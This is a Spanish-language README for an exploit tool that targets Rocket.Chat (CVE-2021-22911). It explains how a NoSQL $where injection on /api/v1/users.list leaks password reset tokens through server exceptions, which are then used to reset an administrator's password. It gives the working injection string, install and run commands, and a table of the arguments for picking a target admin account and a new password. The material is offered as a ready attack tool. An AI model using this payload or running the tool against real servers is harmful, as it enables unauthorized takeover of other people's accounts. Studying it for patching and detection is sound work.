
Exploit automatizado para la inyección NoSQL de Rocket.Chat (CVE-2021-22911) que filtra tokens de restablecimiento de contraseña y realiza la toma de control de cuentas no autenticada.
Un script de explotación automatizado para Rocket.Chat (y aplicaciones basadas en Meteor) que aprovecha una Inyección NoSQL mediante la cláusula $where para filtrar tokens de restablecimiento de contraseña a través de excepciones del lado del servidor. Una vez que el token se filtra, el script realiza un restablecimiento de contraseña no autenticado.
Autenticación: El script se autentica como un usuario estándar para obtener acceso al endpoint /api/v1/users.list.
Inyección NoSQL: Utiliza el parámetro query para inyectar una cláusula JavaScript $where.
Exfiltración de Datos: Al usar la declaración throw dentro de la inyección, fuerza al servidor a devolver un error de "excepción no capturada" que contiene el token de restablecimiento de contraseña del usuario objetivo.
Toma de Control de la Cuenta: El script usa el token filtrado para llamar a resetPassword, cambiando la contraseña de la cuenta objetivo.
Python 3.x
Biblioteca requests
Bash
pip install requests
Bash
python3 exploit.py --url http://<TARGET_IP>:3000\
-u <YOUR_USER>\
-p <YOUR_PASS>\
-a <TARGET_ADMIN_USER>\
-ap <NEW_ADMIN_PASSWORD>
El núcleo del exploit es la cadena de inyección:
JavaScript
{"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}
Cuando es procesado por el servidor, el motor de la base de datos ejecuta la función anónima, falla en el throw, y la aplicación captura la excepción, pasando inadvertidamente el token secreto de vuelta al usuario en la respuesta de error JSON.
| Argumento | Flag Larga | Descripción |
|---|
-u | --user | Su nombre de usuario o correo electrónico válido para la autenticación inicial. |
-p | --password | Su contraseña válida. |
-a | --admin | El nombre de usuario de la cuenta que desea restablecer. |
-ap | --admin-pass | La nueva contraseña para establecer para la cuenta de administrador. |
--url | La URL base de la instancia de Rocket.Chat. |